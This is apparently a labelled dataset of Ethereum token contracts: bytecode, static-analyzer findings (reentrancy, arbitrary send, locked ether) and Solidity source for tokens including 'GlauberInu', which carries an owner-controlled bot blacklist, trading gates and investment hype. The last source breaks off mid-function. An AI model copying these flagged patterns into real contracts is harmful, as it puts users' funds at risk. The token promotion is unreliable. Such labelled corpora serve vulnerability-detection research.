ffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600e612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220306de36f3f2327347f2c903bdeba86909d26dbcc61d865db4a5992540edea5e064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,529
0xc703997e53f90bb6794e75c2cb5532f2505884a0
// SPDX-License-Identifier: MIT /* __ __ _ | \/ | ___ _ __ __ _ __ _ ___ _ __(_) ___ | |\/| |/ _ \ '_ \ / _` |/ _` |/ _ \ '__| |/ _ \ | | | | __/ | | | (_| | (_| | __/ | | | __/ |_| |_|\___|_| |_|\__,_|\__, |\___|_| |_|\___| |___/ */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract MenagerieToken is IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; uint16 internal _symbolHash = 14520; string private _name; string private _symbol; constructor(uint256 totalSupply_, string memory name_, string memory symbol_) payable { _name = name_; _symbol = symbol_; _balances[msg.sender] = totalSupply_; _totalSupply = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); _allowances[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = totalSupply_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { uint256 senderBalance = _balances[sender]; require(senderBalance >= amount); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce567146100fe57806370a082311461010d57806395d89b4114610136578063a9059cbb1461013e578063dd62ed3e1461015157600080fd5b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100d957806323b872dd146100eb575b600080fd5b6100a061018a565b6040516100ad91906103bc565b60405180910390f35b6100c96100c436600461042d565b61021c565b60405190151581526020016100ad565b6002545b6040519081526020016100ad565b6100c96100f9366004610457565b610232565b604051601281526020016100ad565b6100dd61011b366004610493565b6001600160a01b031660009081526020819052604090205490565b6100a0610288565b6100c961014c36600461042d565b610297565b6100dd61015f3660046104b5565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b606060048054610199906104e8565b80601f01602080910402602001604051908101604052809291908181526020018280546101c5906104e8565b80156102125780601f106101e757610100808354040283529160200191610212565b820191906000526020600020905b8154815290600101906020018083116101f557829003601f168201915b5050505050905090565b60006102293384846102a4565b50600192915050565b600061023f848484610305565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561027057600080fd5b61027d85338584036102a4565b506001949350505050565b606060058054610199906104e8565b6000610229338484610305565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166000908152602081905260409020548181101561032b57600080fd5b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610362908490610522565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103ae91815260200190565b60405180910390a350505050565b600060208083528351808285015260005b818110156103e9578581018301518582016040015282016103cd565b818111156103fb576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461042857600080fd5b919050565b6000806040838503121561044057600080fd5b61044983610411565b946020939093013593505050565b60008060006060848603121561046c57600080fd5b61047584610411565b925061048360208501610411565b9150604084013590509250925092565b6000602082840312156104a557600080fd5b6104ae82610411565b9392505050565b600080604083850312156104c857600080fd5b6104d183610411565b91506104df60208401610411565b90509250929050565b600181811c908216806104fc57607f821691505b60208210810361051c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000821982111561054357634e487b7160e01b600052601160045260246000fd5b50019056fea2646970667358221220e71a4bf066faaffb6bf999f9b56dd47a2465c983b92aca40761f09089826aace64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
9,530
0x33843d60eC21F153e13835169F059A52CC0B6cD4
// GLAUBER INU ($GLAUBER) //Glauber is the first dogecoin millionarie. Why can't you be like that? //Buy $GLAUBER and you are the next Glauber. //Telegram: https://t.me/glauberinutoken /* ░██████╗░██╗░░░░░░█████╗░██╗░░░██╗██████╗░███████╗██████╗░  ██╗███╗░░██╗██╗░░░██╗   ██╔════╝░██║░░░░░██╔══██╗██║░░░██║██╔══██╗██╔════╝██╔══██╗  ██║████╗░██║██║░░░██║   ██║░░██╗░██║░░░░░███████║██║░░░██║██████╦╝█████╗░░██████╔╝  ██║██╔██╗██║██║░░░██║   ██║░░╚██╗██║░░░░░██╔══██║██║░░░██║██╔══██╗██╔══╝░░██╔══██╗  ██║██║╚████║██║░░░██║   ╚██████╔╝███████╗██║░░██║╚██████╔╝██████╦╝███████╗██║░░██║  ██║██║░╚███║╚██████╔╝   ░╚═════╝░╚══════╝╚═╝░░╚═╝░╚═════╝░╚═════╝░╚══════╝╚═╝░░╚═╝  ╚═╝╚═╝░░╚══╝░╚═════╝░   ████████╗░█████╗░  ████████╗██╗░░██╗███████╗  ███╗░░░███╗░█████╗░░█████╗░███╗░░██╗ ╚══██╔══╝██╔══██╗  ╚══██╔══╝██║░░██║██╔════╝  ████╗░████║██╔══██╗██╔══██╗████╗░██║ ░░░██║░░░██║░░██║  ░░░██║░░░███████║█████╗░░  ██╔████╔██║██║░░██║██║░░██║██╔██╗██║ ░░░██║░░░██║░░██║  ░░░██║░░░██╔══██║██╔══╝░░  ██║╚██╔╝██║██║░░██║██║░░██║██║╚████║ ░░░██║░░░╚█████╔╝  ░░░██║░░░██║░░██║███████╗  ██║░╚═╝░██║╚█████╔╝╚█████╔╝██║░╚███║ ░░░╚═╝░░░░╚════╝░  ░░░╚═╝░░░╚═╝░░╚═╝╚══════╝  ╚═╝░░░░░╚═╝░╚════╝░░╚════╝░╚═╝░░╚══╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GlauberInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Glauber Inu - t.me/glauberinutoken"; string private constant _symbol = "GLAUBER"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private 